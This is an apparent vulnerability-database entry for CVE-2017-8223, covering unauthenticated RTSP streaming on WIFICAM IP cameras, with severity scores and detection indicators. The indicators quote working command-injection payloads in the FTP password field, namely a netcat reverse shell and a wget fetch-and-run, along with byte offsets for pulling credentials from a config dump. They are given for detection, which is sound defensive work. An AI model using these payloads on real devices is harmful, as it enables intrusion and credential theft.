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CVE-2017-8223
published 2017-04-25

CVE-2017-8223: On Wireless IP Camera (P2P) WIFICAM devices, an attacker can use the RTSP server on port 10554/tcp to watch the streaming without authentication via tcp/av0_1…

PriorityP178high7.5CVSS 3.0
AVNACLPRNUINSUCHINAN
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
4.30%
89.9th percentile
On Wireless IP Camera (P2P) WIFICAM devices, an attacker can use the RTSP server on port 10554/tcp to watch the streaming without authentication via tcp/av0_1 or tcp/av0_0.

Detection & IOCsextracted from sources · hover to see the quote

port10554/tcp
url/set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20192.168.1.1+1337%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0
url/ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s
path/set_ftp.cgi
path/ftptest.cgi
command$(nc%20192.168.1.1+1337%20-e/bin/sh)
command$(wget+http://192.168.1.1/stufz&&./stuff)
othertcp/av0_1
othertcp/av0_0
bytes
0x0a 0x0a 0x0a 0x0a 0x01
  • Detect unauthenticated RTSP stream access on port 10554/tcp using RTSP paths av0_0 or av0_1 — no authentication challenge is issued by the device
  • Alert on HTTP GET requests to /set_ftp.cgi or /ftptest.cgi containing shell metacharacters (e.g., $(), nc, wget) in the 'pwd' parameter — this is the command injection vector
  • Credentials are stored in binary config dump with a recognisable 4-byte marker (0x0a 0x0a 0x0a 0x0a 0x01); credential extraction offsets +138 (username) and +170 (password) from this marker
  • The exploit targets port 80/tcp (CAM_PORT) for the HTTP command injection stage; monitor for sequential GET requests to /set_ftp.cgi followed by /ftptest.cgi from the same source IP
  • ·Two alternative payload variants exist for the FTP pwd injection: one using '+' instead of '%20' for spaces, and one using wget to fetch and execute a remote binary — detections must cover both encoding styles

CVSS provenance

nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
vulncheck7.5HIGH
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